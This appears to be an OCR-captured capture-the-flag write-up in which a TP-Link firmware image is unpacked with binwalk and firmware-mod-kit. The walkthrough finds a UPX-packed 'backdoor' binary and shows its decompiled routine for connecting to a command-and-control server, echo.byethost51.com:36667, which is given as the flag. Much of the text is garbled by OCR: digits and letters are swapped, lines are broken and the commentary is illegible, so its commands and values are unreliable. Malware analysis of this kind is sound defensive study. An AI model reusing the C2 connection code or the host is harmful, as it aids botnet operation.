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[rootgvultr ~1# binwalk -e fire.bin

HEXADECTMAL

DESCRIPTION

20432.3, image version: T PFossatedl; 0x0, product version
155254791, kernel load address: 0x8, kernel entry point: 6x80002000, kernel offset: 4863744, kernel length: 512, root:S OMemimmizzZad
rootfs length: 1848576, boot
424

loader offset: 2883584, bootloader length: 8

Certificate in DER format (x509 v3), header length: 4, sequence length: 64

U-Boot version string, "U-Boot 1.1.4 (Aug 26 2013 - 09:07:51)"

CRC32 polynomial table, big endian

TP-Link firmeare header, firmeare version: 6.0.3, image versi , product ID: 6x8, product versic

54791, kernel load address: @x8, kernel entry point: 6x80802008, kernel offset: 3932168, kernel length: 512, rootfs offset: 7727
fs length: 1048576, bootloader offset: 2883584, bootloader lengtl

132006 ©x20400

0
LZMA compressed data, properties: 8x5D, dictionary size: 33554432 bytes, uncompressed size: 2203728 bytes

ARNING: Extractor.execute failed to run external extractor 'unsquashfs -d 'squashfs-root' '%e’: [Errno 2] No such file or directory: '

nsquashfs': 'unsquashfs’,

runsquashfs -d 'squashfs-root’ 'ke'' might mot be installed correctly

ARNING: Extractor.execute failed to run external extractor 'sasquatch -p 1 -le -d 'squashfs-root' 'se'': [Errno 2] Mo such file or dire
tory: ‘sasquatch’: 'sasquatch’, 'sasquatch -p 1 -le -d 'squashfs-root' 'se'' might not be installed correctly

ARNING: Extractor.execute failed to run external extractor 'sasquatch e -d 'squashfs-root' 'se'': [Errno 2] No such file or dire
tory: 'sasquatch’: 'sasquatch’, 'sasquatch -p 1 -be -d 'squashfs-root' '%e'' might not be installed correctl

1180160 6x126260

Squashfs filesystem, little endian, version 4.8, compression:lzma, size: 2774624 bytes, 519 inodes, blocks
104

ze: 131072 bytes, created: 2015-84-13 89:

firmware-mod-kit4} #r

7]

sudo yum install git build-essential zlib1g-dev liblzma-dev python-magic

git clone https://github.com/mirror/firmware-mod-kit.git

cd firmware-mod-kit/src
Jconfigure
make
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extract-firmware.sh i fu, [& 4
build-firmware.sh = #7551
check_for_upgrade.sh 1575 5

unsquashfs_all.sh fif# L H2 B Sk 1 squashfs ST 14

¥ _fire.bin.extracted 34 3% F11#120200.squashfs 3 14, %47 3 firmware-mod-kit 3 43¢

mv /root/_fire.bin.extracted/120200.squashfs /root/firmware-mod-kit
cd firmware-mod-kit

Junsquashfs_all.sh 120200.squashfs

cd squashfs-root/tmp/

dir

=KL, WTUMERExTgAe, A BEs 17, BT UM A AR .

[root@vultr firmware-mod-kit]# ./unsquashfs_all.sh 128200.squashfs
.funsquashfs_all.sh: line 85: ./src/binwalk: No such file or directory
Attempting to extract SquashF5S .X file system...

./src/squashfs-2.1-r2/unsquashfs. ..

./src/squashfs-2.1-r2/unsquashfs-lzma. ..

-/sre/squashfs-3.0/unsquashfs. ..

./src/squashfs-3.8/unsquashfs-lzma. ..
./src/squashfs-3.8-1zma-damn-small-variant/unsquashfs-lzma. ..
./src/others/squashfs-2.8-nbd/unsquashfs. ..
./src/others/squashfs-3.08-e2188/unsquashfs. ..
./src/others/squashfs-3.0-e2188/unsquashfs-lzma. ..
./src/others/squashfs-3.2-r2/unsquashfs. ..
./src/others/squashfs-3.2-r2-1zma/squashfs3.2-r2/squashfs-tools/unsquashfs. ..
./src/others/squashfs-3.2-r2-hg612-1zma/unsquashfs. ..
./src/others/squashfs-3.2-r2-wnrl808/unsquashfs. ..
./src/others/squashfs-3.2-r2-rtnl2/unsquashfs. ..
./src/others/squashfs-3.3/unsquashfs. ..
./src/others/squashfs-3.3-1zma/squashfs3.3/squashfs-tools/unsquashfs...
./src/others/squashfs-3.3-grml-1zma/squashfs3.3/squashfs-tools/unsquashfs. ..
./src/others/squashfs-3.4-cisco/unsquashfs. ..
./src/others/squashfs-3.4-nb4/unsquashfs. ..
./src/others/squashfs-3.4-nbd/unsquashfs-lzma. ..
./src/others/squashfs-4.2-official/unsquashfs. .. Parallel unsquashfs: Using 1 processor

./src/others/squashfs-4.2/unsquashfs. .. Parallel unsquashfs: Using 1 processor

Trying ./src/others/squashfs-4.8-1zma/unsquashfs-lzma... Parallel unsquashfs: Using 1 processor
480 inodes (523 blocks) to write

==|
ile system sucessfully extracted!
MKFS="./src/others/squashfs-4.0-1zma/mksquashfs-1lzma

1 123/523 23%F

] 306/523 58%[
=\] 523/523 108%

created 341 files

created 39 directories

created 70 symlinks

created 69 devices

created 0 fifos

[root@vultr firmware-mod-kitl# cd squashfs-root/tmp/

[root@vultr tmpl# dir
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[root@vultr tmpl# f§
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ﬂ Exeinfo PE - ver.0.04.1 by AS.L - 902435 sign 2015.12.01 = *

4k |[backdoor i : : | P 3 H ﬁ
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y XREB: ALISE: ([7F.45.4C.46.01) R 1
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sktoprupx —d backdoor

Format Name

backdoor

Unpacked 1 file.
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bool initConnection()

{
char *v@; // ro
char s; // [sp+4h] [bp-208h]
int v3; // [sp+204h] [bp-8h]

memset(&s, 0, 0x200u);
if ( mainCommSock )
{
close(mainCommSock);
mainCommSock = @;
}
if ( currentServer )
++currentServer;
else
currentServer = 0;
strcpy(&s, (&commServer)[currentServer]);
v3 = 36667;
if ( strchr(&s, 58) )
{
vO = strchr(&s, 58);
v3 = atoi(ve + 1);
*strchr(&s, 58) = 0;
}
mainCommSock = socket(2, 1, 0);
return connectTimeout(mainCommSock, &s, v3, 30) == 0;

BJ: echo.byethost51.com:36667

get flag!

flag{33a422c45d551ac6e4756f59812a954b}
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